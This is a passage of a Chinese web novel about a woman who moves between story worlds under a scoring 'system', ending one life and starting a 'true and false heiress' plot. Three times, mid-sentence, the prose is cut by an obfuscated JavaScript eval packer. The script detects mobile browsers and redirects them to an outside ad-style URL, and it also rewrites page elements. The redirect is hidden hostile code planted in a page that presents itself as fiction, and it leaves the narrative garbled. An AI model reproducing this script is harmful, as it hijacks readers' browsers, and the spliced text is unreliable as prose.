“需要我帮你戴上吗?”在叶世梅百感交集的时候,叶奚青在她面前,晃动了一下手中的镯子。 叶世梅愣了一下,随后赶紧点头。 叶奚青便微笑了一下,低下头,将镯子送进她干瘦的手腕。 叶世梅看着女儿的动作,眼泪不受控制地掉下来。 或许说得再差,也应该说一点。 还有那么长的时间呢,就算一点点说,也足够把感情表达尽了…… 收到礼物的两位妈妈,兴奋的好像精力无法发泄,叶世英更是铆足劲买了一大桌肯定吃也吃不完的菜。 现在都用圆桌了,也不缺个凳子,没有什么一家之主的位置了,苗双双只能和所有人平起平坐。 众人一会聊到:陆父被查出来挪用资金1.2亿,恐怕要完蛋了。 一会聊到:某大导有新的电影要拍。 甚至偶尔会聊到国家大事,外贸风云。 人吃饱后,真的会很闲,这样的闲适,真希望能永远保持下去…… …… 三十年后。 从有线电话,到智能手机,90年的人在当时,可能永远想象不到这种变化,但真正走向这个时代,其实也只用三十年。 在这个信息发达的时代,几乎没有什么秘密,所以青青酒业的创始人叶奚青,便成了人们茶余饭后,津津乐道的人物。 被所有人嫌弃的非婚生女儿,年方二十一,一无所有,家徒四壁,靠着一个访谈、一个广告片,绝境突围,闯下了第一大酒业集团,获得逆天的财富积累。 又凭借超前的眼光,资助了无数贫困的人才,投资了无数新兴行业,在今年,正式登顶财富榜首。 有人说她是天纵之才,也有人说她吃了时代的红利,但不管怎么说,这不影响她成为小学生现在写作文,最喜欢用的名人。 但被誉为天纵之才的叶奚青,并没有在办公室里指点江山,而是在实验室里跟踪新产品。 就连她的助手都好奇:“叶董,您现在还是对开发新酒品更感兴趣啊?” 叶奚青微微一笑,不过因为脸上胶原蛋白的流失,这并不能让她显得很亲切。 一组工作的组员已经熟悉她了,不会像刚来的时候一样,被她的“绝世威压”吓住,也就知道她在笑。 “处理公司事务,就像在不停地处理1+1=2的问题,除了在刚开始时有趣,剩下的时候不如计算1+1=2,而研究新酒,至少会有不同的口味。” 助手失笑,这难道就是强者的世界吗? 她也好想用这么轻松的语气,评价那么大的财富集团啊! 和助手调笑完,叶奚青观摩着实验成果,在做完安全实验后,轻轻抿了一口。 这些年,熟能生巧,她已经能熟练地品味酒各层次的味道,收获心得后,摊开笔记,唰唰地记录在册。 也就在这时,一个久违的声音响起:“宿主,时间到了,你该脱离这个世界了。” 叶奚青停住了笔。 自从陆景安随着陆家破产,一蹶不振,顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093768|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹏飞也没成为全国首富,反而是她成为新首富后,系统就沉默多了。 现在它突然出现,是向她宣布任务完成的消息。 叶奚青等这天很久了,并没有慌张,合上笔记,微笑道:“好的,这个世界我也觉得无聊了,随时可以离开。” “只是我有点好奇啊,当我离开这个世界后,这个世界就没有‘主角’了,它会变得怎么样呢?” “呵。”系统低笑了一声。 它沉默着看着叶奚青,作为一个系统,它是无论如何,也不应该和宿主谈论这种话题的。 但在这个世界,叶奚青对它的挑衅,让它产生了一些心理上的失衡,所以在最后的时候,它突然想送给叶奚青一个“惊喜”。 于是系统慢悠悠地开口:“宿主,当你阅读完一本书后,你会怎么样呢?” “故事已经结束,虽然故事里的人还在期待以后的发展,故事外的书页,却已经走到了尽头。” “所以这个时候,这本书只有两种结局,一种是被丢弃到书架,让灰尘掩埋,一种是换个人阅读,又变成一本新的书。” “不管阅读的人是谁,这本书的内容都不会改变,不管阅读的人为它做出怎样与众不同的注解,当合上书页,它还是会变成,和原来一模一样,没有丝毫改变的旧书。” “一切没有开始,一切也没有结束,是不是很有意思?” 叶奚青沉默了一瞬,她看向系统:“也就是说,当我离开,这个世界就会重置?” “没错。”系统微笑着应答。 “总有人试图在一个循环的世界里找寻意义,而当他们发现世界的真相,就会发现一切都没有意义~” 苗双双还是那个恶毒女配,“叶奚青”还是那个一文不名之人,她们还是斗兽场里的一对斗兽。 不管叶奚青再讨厌那两个男主,他们依然是世界中心,当叶奚青离开,又会开启崭新的人生。 很有趣吧,原来努力到头,竟然什么也没有改变~ 叶奚青抬头,脸上却没有一丝愠怒,微笑道:“那和我又有什么关系呢,我只要过好自己的一生就好了,我这一世的评分,应该不低吧?” 系统:…… 它又破防了,叶奚青完全没按照系统给的剧本走,打出的评分居然也不低! “挺有意思的故事,从没想过这故事还可以这样展开,感觉还不错。” “我觉得超爽啊,比以前还爽,就是,凭什么男主就比我有钱,一样给我下去吧!爽翻!” “爱上这个轮回的苗双双了怎么办,以后可能没办法继续看她当反派的故事了,呜呜呜。” “加油吧,新剧情超好哦!五星好评!” …… 就这样,叶奚青不走寻常路的做法,居然获得了A级评价,结算积分36789。 系统几乎很用力,才能不让自己失态:“恭喜你哦,宿主,获得了很好的成绩哦。” 它像一个输得一无所有的赌徒,用尽最后力气,将充满恶意的字眼吐出口,试图在最后关头将那个仿佛永远不会被刺伤的人刺伤。 “接下来,就好好和这个世界告别吧,毕竟你一离开,这个世界的一切,就都和你无关了呢~” 17.《换嫁九零》 苗双双心乱如麻,她没想到会接到这样的消息。 叶氏集团掌舵人,新晋的全国首富,疑似病危的消息,已经刷爆了网络,苗双双闭目坐在飞机靠椅上,听身边人说话。 “双双姐,你先别紧张,也许只是普通病,哪有病恶化得这么突然的!” 苗双双靠在椅背上不说话,总感觉一张嘴,就会有她不愿意听到的声音漏出来。 她静静等着飞机到站,原本很快的航程,不知道为什么这次这么慢。 …… 曾经地广人稀,贫穷落后的小镇,已经大不一样了。 早在市里修铁路时,叶奚青就多方奔走,让铁路最终通到了小镇,计划建机场时,又多方游说,让机场建到了离小镇行程很便捷的地方。 丰富的交通网,带来了丰富的资源网,小镇如今完全一派大都市的样子。 商业、医疗层出不穷,经济发展全市之最,不仅让县里曾经一文不名的小小负责人,成了后来非常了不得的大人物,也让苗双双现在可以更便捷地回家。 一进门,就看见叶世英和叶世梅心碎的脸,原本怀着的侥幸之心,顷刻破碎。 竟然是真的……叶奚青居然真的要死了…… 苗双双草草安慰了一下母亲和小姨,推门而入,就看见躺在病床上的叶奚青转头看向她:“你回来得好慢,我差不多还有五分钟就要死了。” 苗双双:…… 原本升上来的几分真实感,又因为叶奚青这玩笑般的话打散。 苗双双扯过椅子,坐在叶奚青床头,搓着大腿纠结开口:“你真的没在开玩笑吗……要不咱们去医院再抢救一下……” 叶奚青摇摇头。 她的脸色是要死的灰败,神情却像刚出生一样安详:“真的要死了,你差不多又浪费了一分钟,剩下的四分钟,有什么话赶紧跟我说吧。” 苗双双:…… 她原本是有很多话想说的,但叶奚青就这么草率的准备死了,她又不知道说什么好。 沉默了许久,似乎终于找到了话题:“我和顾鹏飞分手了。” 叶奚青:…… 看着叶奚青一言难尽的表情,苗双双也感觉自己好像在说梦话,但她控制不住自己不聊这个话题。 她和顾鹏飞处了很多年,就连外星人都不知道为什么,但她知道。 她在观察顾鹏飞,并发现他没有那么好。 他看起来斯斯文文的,其实内里非常男人,不能忍受妻子比他强,又舍不得很强的妻子给的好处,于是别扭的像出演舞台剧。 他很喜欢装,不能在经济上取得优越感后,就喜欢在文化上装得比她懂,她一开始很生气,发狠去学后,才发现他懂的都是别人说过的、很浅显、甚至充满错误的东西。 她看着他一点点变成一个一事无成,只会吹嘘的老东西,又看着他的儿子,一点点变成那个好高骛远的他,开始好奇。 前世的他们,到底是怎么走到那么荣耀的位置呢? 当登顶首富的人变成叶奚青后,苗双双突然间释然了。 不会这也是他偷的别人的东西吧? 想到这,苗双双甚至想笑。 她也不知道是笑顾鹏飞,还是笑自己,总之有点荒谬。 好在这些年不止叶奚青在进步,她也在追赶。 在靠当演员获得第一桶金后,她就开始转战制作、发行。 依靠自身名气、重生的先机、和青青酒业的巨大反哺,她的娱乐公司,如今已经是娱乐圈中流砥柱般的老大姐,无数光鲜亮丽的明星都需要仰她鼻息。 这样的她,只要勾勾手,就有无数年轻美貌的男人献媚上来,顾鹏飞实在是微不足道,甩起来也很容易。 只是她想向叶奚青抱怨—— “你知道吗,他居然威胁我,要分我的财产,不然就把我们这些年的事宣扬出去。” “真是搞笑啊,他居然觉得这种话对我有杀伤力,这么蠢的男人,我当初为什么会选择他,还因为他和我妈闹别扭,和你也闹别扭呢?” 叶奚青静静听着,察觉到叶奚青的眼神,苗双双从思绪中回神,深吸一口气。 真是的,明明快死的是叶奚青,她在这说自己的破事干什么! 看了一下手腕上的表,转头看向叶奚青,尽力微笑道:“我说完了,那你有什么想跟我说的吗,按你说的,应该还有点时间。” 不愧是当了那么多年演员的苗双双,对时间的把控非常准,说给叶奚青留个遗言时间,就真的留了一个遗言时间。 叶奚青看着系统的倒计时一点点走尽,抬起眼睛看向苗双双,在“9……8……7……6……”的倒计时中,说出了最后一句话—— “你觉得这一世,超过我了吗?” 苗双双:…… 一开始她还不能理解叶奚青话里的意思,等反应过,猛然起身。 然而这个时候,时间已经冻结,所有人或物都被按下暂停键。 在最后一刻,所有东西,都不需要再隐藏。 这个她熟悉的世界,不再前进,而是如一个老旧的机器般,无所顾忌地发出运行的“滋啦”声。 不知运行了多久,终于重归平静。 一整个世界的庞大数据重置,虽然艰难,但对于习惯重置的程序来说,只在开始结束时有挑战,其他的时候,都能运行的很平稳。 里面存在的“人物”,正常地生活着,只有其中一个稍显异常,因为她发现,她又重生了! 不要问重生这种事,为什么也能用又字,因为她确实重生了两次! 第一世,她和她表姐关系很不好,她选择嫁给本地首富的儿子,她的表姐选择嫁给一个穷大学生。 她选择的首富儿子,在她嫁过去没多久就破产了,反而是表姐选的穷大学生,成了新首富。 深感不忿的她,第一次重生了,那一次她抢先选择嫁给顾鹏飞,而把注定破产的陆景安,甩给她表姐,也就是叶奚青—— 回想到这,苗双双猛然坐起,她终于发现不对了! 她的表姐确实是她的表姐,叶奚青占着她表姐的身份,却不是她真的表姐! 她的母亲叫方世英,她的小姨叫方世梅,所以她的表姐,应该叫方晓晓! 这么大的BUG发生了,但前世好像谁都没有在意! 苗双双捂着自己的脑袋,终于发现比起再次重生,她更像多了一段不属于她的记忆。 那个叫“叶奚青”的人,是凭空出现在她脑海里的! 苗双双翻阅着这段诡异的记忆,说是她前世的经历,倒更像是那个叫叶奚青的个人秀。 她看着她毫不犹豫拒绝了陆景安和顾鹏飞两个人…… 她看着她的笔尖,在笔记本上记述着一个又一个酿酒秘方…… 她看见她凭借这个建立了一个小酒坊,自己还傻了吧唧地帮她卖酒…… 又看见她凭借这个,一步步登上首富之路,转头对她道—— “你觉得这一世,超过我了吗?” 苗双双:…… 啊—— 她已经不能从一段数字般的记忆中,感受到画面中的自己,和这个叫“叶奚青”的家伙,有多少感情了。 但她可以清楚地感受到,这个叫叶奚青的人,在向她挑衅! 从不允许别人超过自己的苗双双,肺都要气炸了,以为成为小小首富,就能瞧不起她了吗! 吱—— 门开了,有人在怯怯地看着她,是方晓晓,她真正的表姐。 如果是苗双双第一次重生,她一定会跟她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098769|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个除了运气好,什么优点也没有的表姐争个高低。 但现在,她满心满眼的全都是—— 叶奚青!我要你好看! 方晓晓推开门。 媒人进家了,她就要嫁人了。 她刚满18岁,其实也没有嫁人的概念。 但这里的女人,好像世世代代,都是这样,到了年纪总要结婚,不结婚生下孩子,反而会被全村笑话。 方晓晓不知道自己在想什么,就推门去找苗双双。 她们的关系并不好,但现在她也不知道,该去和谁说心里话。 怀着莫名的心情去找苗双双,就看见苗双双站在原地,望着不知名的地方,像一头发怒的狮子。 方晓晓看了一会,露出一个笑容:原来性格那么厉害的双双,也会为媒人烦恼啊,如此一来,她就有个伴了…… …… “宿主!你在干什么!” 叶奚青好像不是第一次听到这话了。 她结算的积分有36789,因为原有的100积分,全奢侈地用来买书了,所以她只有这36789,现在只剩了31901。 少的4888积分,被她用来买金手指了。 金手指【记忆铭刻】:可以将有限的一段信息,直接转化为数据,输送到脑海里,不用吸收,就能随时调用,堪称外置大脑,作弊利器。 叶奚青欣赏着金手指效果,微微一笑:“原来这个也是世界重置,不清除效果的金手指啊,你们系统出品,还挺良心。” 系统快气炸了! 它之前向叶奚青推荐过【记忆铭刻】金手指,意在嘲讽当时在书山题海中挣扎的叶奚青,并诱导她消费。 毕竟这个金手指,对于一个正在高考的高中生,也太有诱惑力了,人有欲望,才会有做任务的动力。 但它没想到,叶奚青用是用了,却是用在这种地方! 自它经营这个节目以来,还从没发生过这么严重的直播事故! 果然,弹幕已经炸锅了—— “我去!意想不到的结局!系统把苗双双这一次的重生也转播了吧!我愿意付费观看!” “精彩,实在精彩,派个人再穿一遍这个世界吧,想看毫无防备的外来客VS‘觉醒’土著!” “好主意!好主意!快播!快播!我两个一起看!” …… 因为意外状况,直播间暴增了一批流量,但就说谁愿意把节目效果建立在直播事故上啊! 系统咬牙切齿地看着叶奚青:“宿主,这样真的好吗,你就算不考虑别人,也该考虑一下苗双双,你把世界轮回的一部分真相告诉了她,你觉得她能承受的了吗?” “原本她不管经历什么挫折,都会在痛苦过后,变成崭新的自己。” “现在你给了她一段不应该属于她的记忆,让她意识到,自己竟然是在这样一个虚假的世界中,你觉得长久下来,她会感激你,还是憎恨你呢?” 叶奚青轻笑出声,似是不解地看向系统:“系统,你为什么要这样说,难道你觉得我和她的关系,已经好到需要为对方考虑的地步了吗?” 系统:…… 叶奚青近乎轻松地陷进系统空间的沙发里,歪头看向系统,微笑道:“别傻了,她的一切都和我没有关系,我想看的,只是第三种结局。” 系统曾经用书比喻,给她展示了两种结局,并且笑得很开心。 而叶奚青最厌恶的,就是别人给她拟定结局! 所以叶奚青将那段简化的、模糊的、却永不可磨灭的记忆,无偿给了苗双双。 不管她是在无尽的轮回中找回自己,还是在无尽的痛苦中选择毁灭,都和她没有关系。 毕竟她们的关系,只是萍水相逢的“女主”和“女配”而已。 18.《真假千金》 【记忆铭刻】4888积分,折合现实货币,有48万多。 叶奚青只在开始的时候愉悦了一下,当算账时,意识到这是一笔多么昂贵的花销后,不由开始肉痛。 将剩余的31901积分,反复看了好几遍,暗暗发誓,以后再也不乱花了。 现实世界的她,可不是“游戏”里的那种富婆,一分钱都很珍贵。 叶奚青像一个背井离乡,辛苦打工的牛马,精心算着自己的工资,回去还能剩多少。 深受打击,沉默许久的系统,终于调整好了自己的状态,浮出系统空间:“宿主,可以开启下个世界了。” 系统空间算是任务世界休息带,里面的内容并不会被直播出去,叶奚青度过了非常轻松的假期,早就准备继续打工了。 不过在离开之前,叶奚青回头看向系统,微笑道:“系统,你不会报复我,给我一个特别糟糕的世界吧?” 系统扯出一个笑脸:“宿主,你想多了,因为你,上个世界非营业期也营收暴涨呢,我感激你还来不及,怎么会报复你呢?” “哦。”叶奚青点头,随后又问:“那你这么感激我,有什么实在的奖励吗?” 系统:…… 在叶奚青还要追问的时候,系统面无表情伸出手,一巴掌将她扇进新世界。 当叶奚青来到新世界后,抬头看看周围环境,低头伸了伸脚,确信系统就是在报复她,毕竟—— “这个年代我还在穿露脚趾头的鞋子,是不是有点太过分了?” 系统无可挑剔地微笑:“宿主,不要误会,这只是个前置,你的富豪亲生父母,很快就会来接你了。”说着开始动手传输剧情。 随着剧情的传输,叶奚青恍然大悟,原来这是个“真假千金”副本,只是和之前不同,叶奚青这次不是“女主”,而是“女配”,真正的“女主”是“假千金”叶雪璃。 故事发生在18年前,豪门叶夫人和一个普通人家,在同一个医院,同时生产,并同时产下一名女婴。 生完孩子的叶夫人力竭昏迷,因为种种原因,当时在她身边的,只有年仅六岁的三儿子。 小孩子正是最懵懂,也最残忍的年纪,所以简单地因为刚出生的妹妹哭闹太吵了,叶家三儿子就将亲妹妹,和一旁不哭不闹,乖巧睡觉的叶雪璃对换了,就这样造成了两个女孩,18年的互换人生。 被换到富人家的叶雪璃,在母亲、父亲、三个哥哥的宠爱下,宛如公主般长大了。 而被换走的“叶奚青”,不仅去了一个糟糕的家庭,那个家庭还重男轻女,在三岁时把她偷偷又扔了一遍。 被扔掉的“叶奚青”站在原地大哭,被一个孤寡拾荒老太发现,带回了家,就这么磕磕绊绊地养大了。 本来以为日子还能过下去,没想到在“叶奚青”18岁,刚好要能反哺婆婆的时候,婆婆去世了。 叶奚青伤心地送走婆婆,也就在这时,她的亲生父母找来了。 那个时候,“叶奚青”还以为是婆婆在天有灵,保佑她找到了自己真正的亲人。 却没想到回到原来的家,才是她噩梦的开始。 经过18年的豪门精心培养,“假千金”叶雪璃,已经成了闪闪发光的白天鹅。 “真千金”“叶奚青”,却在生活苦难的折磨下,成了一个敏感、自卑、愚钝,在人前连头也不敢抬的丑小鸭。 叶雪璃越耀眼,便衬的“叶奚青”越不堪,叶家人开始对她还有几分愧疚弥补,后来就看她越来越不顺眼。 然后在一场车祸中,叶家人紧张地簇拥着只是磕破皮的“假千金”叶雪璃,却让内脏大出血的她,无声地死在了一边。 绝望死去的“叶奚青”就这么重生了,重生后她才知道,自己身处的,是一本名叫《念念雪璃》的言情小说,讲述的是假千金叶雪璃,和秦氏继承人的酸涩.爱情故事,她只是里面用来推进男女主感情的炮灰。 心灰意冷的“叶奚青”,这世不准备掺和进男女主的剧情,只想好好活着。 却没想到因为某种原因,在这一世,叶家父母、叶家三个哥哥,以及原属于假千金的男主秦念,都能听见她的心声了…… “所以这就是这个世界叫《被听心声后我被全家宠上天》的原因?” 系统一口气传输完剧情,面不改色地回答:“是的,宿主,你有什么疑问吗?” 叶奚青揉着太阳穴,被这个“女配变女主——女主又变女配——女配又又变女主”的套娃剧情,整得脑瓜子嗡嗡作响。 吸收了好久剧情,才在剧情冲击中缓过神来,转头看向系统:“也就是说,我这世的金手指,是心声可以被除‘原女主现女配’外,所有关键人物听到是不是?” “是的。” “那问题来了,这种原剧情就带的金手指,到底是我本来就有的,还是系统你给我的呢?” 系统:…… “这有关系吗?” “当然有,如果是我原本就有的,那系统你不是两个世界,什么金手指也没给我吗?” “你还自称自己是爽文女主系统,空手套白狼啊,爽文女主系统。” 系统:…… “宿主,我第一世给了你美容丹……” “那也没用在我身上。” “那是我不让你用的吗?” 叶奚青:…… 好像是哦。 “但是这一世,系统你确实什么新的金手指都没给我,就算我通关世界,也和你没有关系,你不要擅自给自己加业绩哦,我不同意。” 系统:…… “那我再奖励你一个抽奖机会行不行?” 叶奚青毫不犹豫一笑:“不行,你再抽给我一颗没用的【美容丹】怎么办,不如我们各退一步,如果我完美通关这个世界,你就将这个强制让别人听心声的金手指,装配给回到原世界的我。” “这样我不会在接下来的任务世界得到额外的帮助,你也没缺少什么东西,两全其美,怎么样?” 系统:…… 它很想问,宿主的小市民习性,到底什么时候能改,但就这事和宿主像买菜大妈一样互相争执,它又不愿意,只能无语道: “好的宿主,如果这个世界您能达成A级及以上评价,系统将在您回到原世界后,为您装配【心感心】金手指,您可以在您的世界,指定感染对象,现在您可以好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101794|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做任务了吗?” 叶奚青微笑点头。 蚊子再小也是块肉,薅到羊毛,一本满足~ …… 虽说叶奚青答应好好做任务了,但她并没着急出去。 不说在深秋季节,踢着破洞的鞋子出去,能不能引起叶家人的怜惜,就说这冻脚的罪谁愿意受。 叶奚青慢条斯理地整理整理仪容,倒头就趴在桌子上装睡。 门外的叶家人等很久了,一开始还满心期待,见叶奚青久不出来,不由有些着急。 “假千金”更是眼泪盈睫,楚楚可怜道:“姐姐是不是不愿意见我?” 毕竟是当亲女儿养了这么多年,叶母叶父见了,忙拍着她的肩膀安慰她:“哪有的事,你们都是我们的女儿,我们会让她和你好好相处的!” 叶雪璃嘤嘤嘤地倒进母亲怀里,一旁的叶三却越来越烦躁。 这些天因为“换妹妹”的事被发现,他少不得被一群人按着骂,心里早已怒火大盛。 又见叶奚青窝在门里不出来,以为她在拿乔,顿时更为生气。 他就知道这个妹妹当初没丢错,一出生就是个讨厌鬼,现在更讨厌! 不要以为他会对她心怀愧疚,就算把她认回来,他也只认璃儿妹妹一个! 久等不见人的叶三,直接一脚踢在破旧的木门上:“开门!” 叶三的行为把叶母叶父吓了一跳,连忙想阻止,但叶奚青一直不出来,他们也心急,阻止的便不实心。 拾荒阿婆家破旧的木门,就这么被两脚踹开了。 门开后,众人赶紧进屋,一进屋,就被残留垃圾的臭味熏到了。 这些鼻子习惯高端香水的贵人们,差点因为这味道吐出来,掩着鼻子走进去,就看见桌子上沉睡的叶奚青。 众人你看看我,我看看你,最终选叶母上前,勉强笑道:“青青……我是妈妈……” 也就在这时,叶奚青睁开了眼。 她看着叶母的脸似乎有些茫然,看了很长时间,突然捂住额头,没有张嘴,却有声音从她那边传来—— 【我是睡梦睡糊涂了吗,怎么看见妈妈的脸了?】 叶母一愣,毕竟是亲生的孩子,再也顾不上细思别的,激动地冲过去:“是我啊,我是妈妈,我是生你的亲妈妈啊!” 叶奚青却捂着额头继续想—— 【不可能的,我的妈妈,我的亲生妈妈,已经过世了。】 叶母一愣,难道她是把她和她的养母搞混了吗,正要解释,叶奚青又“开口”了—— 【是啊,妈妈已经死了,和爸爸一起死了,他们都被哥哥们害死了,我果然是精神有问题,出现幻觉了吧。】 …… 一开始,系统还在激动,难道宿主终于愿意好好做任务了? 那一口“爸爸妈妈都死了”,好歹毒,好致命啊,知道自己会被“假千金”害死,那叶父叶母就算再宠爱“假千金”,也会心里犯嘀咕吧。 正激动地欣赏着宿主火力全开,炮轰“假千金”的样子,那句“他们都被哥哥们害死了”,就紧跟着溜了出来。 听见这一句,系统脑子都热了,反应了好久才反应过来:啊? 19.《真假千金》 【心感心】金手指,就是指定传输通道,将信息单向传递给某人,就原理来说,和系统宿主之间的对话是一样的。 但系统作为【高维生物】,它的权限肯定在这个金手指之上,所以系统可以毫无顾忌地对叶奚青咆哮—— “叶家三兄弟什么时候害死叶父叶母了!” “就在刚刚,我刚编的。” “你为什么要这么编!” “不编不就浪费上天给的金手指了吗,这个金手指不是这么用的吗?” 系统:…… 确实是这么用没错!但这个金手指是用来帮你对付假千金叶雪璃的!人家叶家三兄弟惹你来吗! 叶奚青微微一笑。 确实没惹她,她刚穿过来,叶家的任何人,都没惹过她。 但她这个人,实在是太敬业了,给她“真假千金”剧本,她就会好好走剧本,并夺回真千金失去的一切。 真千金失去了很多,其中第一件就是——叶家的继承权。 现在,她要夺回来了。 …… 语言是一种艺术,不仅内容重要,说的方式也很重要。 如果是面对面说,说一百句,对面也不能听一句。 但如果隔着一个门缝偷听,就算只有一个字,偷听者也愿意相信那是真的。 这就是【心感心】金手指的强大,充分模仿门缝偷听,听到的人都觉得是真的。 叶三原本心情就不好,听到这话更炸了,别开叶母,一把抓起叶奚青的胳膊:“你在胡说什么!” 叶奚青被抓着胳膊,因为手臂处传来的痛觉,微微皱眉,发出了第一个现实的声音:“嗯?” 叶雪璃听不见叶奚青的心声,不知道发生了什么,还以为三哥是在为她出气,顿时尖叫道:“三哥,你在干什么,不要这样对姐姐!” 因为叶雪璃的尖叫,其他人都回过神来,顿时七手八脚地去阻止叶三。 叶奚青却沉默着看着叶三,神情莫测,继续思考:【叶三也还活着?】 【妈妈……爸爸……叶雪璃……他们居然都好好活着,看这情形,难道我是重生了……重生到刚被接回家的时候?】 看着叶奚青疑惑的眼神,叶三的手渐渐放下。 一开始听到【哥哥害死爸爸妈妈】什么的,他毛都炸了,生怕一旁的爸爸也能听见。 但听到叶奚青紧接着说他也“死了”后,叶三顿时松了口气,死了就好,死了就好,死了至少说明这件事与他无关,叶奚青的哥哥又不只有他! 心中大石头落地后,转头偷觑老爸的神色。 看他爸刚才的反应,他爸应该也能听见这些奇妙的话吧? …… 豪华的家用车上,叶三脊背挺直的和叶雪璃坐在中排,叶母、叶父将叶奚青夹在中间,坐在最后,一起沉默着不说话。 叶父的神色很不好。 从一开始,他这个亲女儿“说的”东西就太古怪了,什么重生……什么被哥哥们害死……每一条都让他很在意。 但他想听更详细的时候,叶奚青却什么都不说了。 咳嗽一声,将手搭在刚找回来的女儿手背上,试图引起话题:“乖女儿,这些年没有我们在,你受苦了吧。” 叶奚青转头看向他,抿着嘴没有说话,却有心声持续传过来—— 【当然很苦,爸爸妈妈死后,我也被哥哥们送进了精神病院,我有时候都搞不清楚我是清醒的,还是真的疯了。】 【人真的可以重生吗?这是不是我的幻觉?我是不是真的疯了?所以捏造出一个爸爸妈妈还在的假象?】 【不过没有关系,就算是假的,我也愿意相信是真的,有爸爸妈妈在的幻境,我就愿意相信是真的。】 【这次,我会保护好爸爸妈妈、保护好叶家,不让大哥二哥得逞!】 【我什么都不害怕,能弄死他们第一次,就能弄死他们第二次!】 “咳!” 叶三咳嗽了一声,挺直腰板,虽然叶奚青保护的人不包括他,还好要弄死的人,也不包括他! 刚刚他对叶奚青是不是说话太大声了,叶奚青没因为这个恨上他吧? 不管怎样都和他没关系,只不过他爸他妈,现在心情肯定很复杂吧…… 不出所料,叶母直接哭成了泪人。 亲生儿子会害了他们夫妻的消息,确实让她大惊失色。 但女儿被其他儿子送进精神病院,就算发疯、发狂,依然对他们念念不忘的深情,也让她极为震撼。 叶母好像又回到了刚怀女儿的时候,血脉相连的亲情,本来就是这个世上最伟大的羁绊啊! 而叶父就简单多了,他现在只剩愤怒! 他当然不是叶奚青幻想出来的人物,一个疯子也没本事将心声传递给别人,那也就是说叶奚青说的都是真的! 她真的重生了一次,并且在她重生前的那一世,他的两个好儿子,为了篡夺叶家家产,害死了他,又将知道一切真相的叶奚青送进了精神病院! 一个从没见过面的女儿能有多少感情,但听到这么惊人的秘密就不一样了。 叶母叶父一起感动地握住女儿的手,百感交集道:“好女儿,以后我们会好好对你的!” 但没想到,这话只对叶雪璃有些作用,叶奚青却只是抽回手,有些警惕地看着他们。 【怎么回事,爸爸妈妈怎么一来就对我这么好了?】 【前世他们明明嫌弃我是穷家养出来的女儿,在我刚回去的时候,对我半只眼睛看不上啊。】 【肯定哪里有问题吧,对我这么好的爸爸妈妈,一定是我幻想出来的吧……】 说着双手拍脸,似乎在让自己从幻境中醒来。 叶父叶母:…… 更像真的了怎么办…… 他们一开始见叶奚青,确实有点嫌弃的,女儿说他们前世看不上她,真的有可能哎…… 气氛顿时变的很尴尬,叶父叶母很想知道更多的东西,但又不敢刺激疑似有“精神病”的女儿。 只能祈祷女儿的精神状态早日稳定,然后前世能忘的事,该忘的就忘了吧…… …… 因为没人打岔,车开得飞快,没多久,就来到了叶家。 精神病这玩意,装装就行了,没必要一直装,叶奚青神色从容地下车。 真实世界的豪门很恐怖,小说世界的豪门就更恐怖了,叶家的住宅都不能叫作别墅,而应该叫作城堡。 前世的叶奚青作为全国首富,当然很有钱,但她穷人乍富,还没从社会主义消费观中脱离出来,并不会搞太夸张的东西。 反倒是叶家让她真正体验了一把,什么叫穷奢极欲。 这么大的庄园,当然需要很多人维持,一进去,就跑出来一堆佣人列队欢迎,高呼“欢迎小姐”。 叶奚青差点被整笑了,但好在她能忍,还是忍住了,神色如常地检阅队列。 她陈旧的衣服,破洞的鞋子,在如此豪奢的门庭中,显得格格不入。 但她从容的态度,好像见过这种场面千万次,并不落下风。 叶家能听到心声的三人,不由更信她是重生的,只有听不到心声的叶雪璃莫名失落。 不愧是真正的叶家女儿,这么快,就完全融入叶家人的生活了。 那以后,这个家还需要她吗…… 怀着沉重的心情,跟在叶母身后,真希望一切都只是个梦。 一觉醒来,她还是爸爸妈妈唯一的女儿。 …… 叶家这么大的豪宅,当然是有电梯的,电梯很快升到了顶层。 等到了顶层,叶雪璃终于找到话题加入他们,开心地跳到叶奚青面前,殷勤介绍道:“姐姐,这是爸爸妈妈听说你回来,老早就为你准备的房间哦。” “房间里的设计,都是爸爸妈妈请全球最顶尖设计师设计的,他们真的很想你,很想你回来啊!” 叶奚青顺着叶雪璃的介绍看向房间,这就是“原著”中“真千金”和“假千金”的第一个矛盾点。 真千金18年来,住在猪窝一样的老破小里,假千金却住在香香甜甜,仿佛梦境般的公主房里。 而等“叶奚青”对这个新家日渐熟悉,她才知道,刚来时,被她羡慕的梦幻公主房,也只是叶家随手施舍的。 叶家真正的子女,都是一人支配一层的,而她作为后融入这个家的“外来客”,只配拥有一个后收拾出来的阁楼。 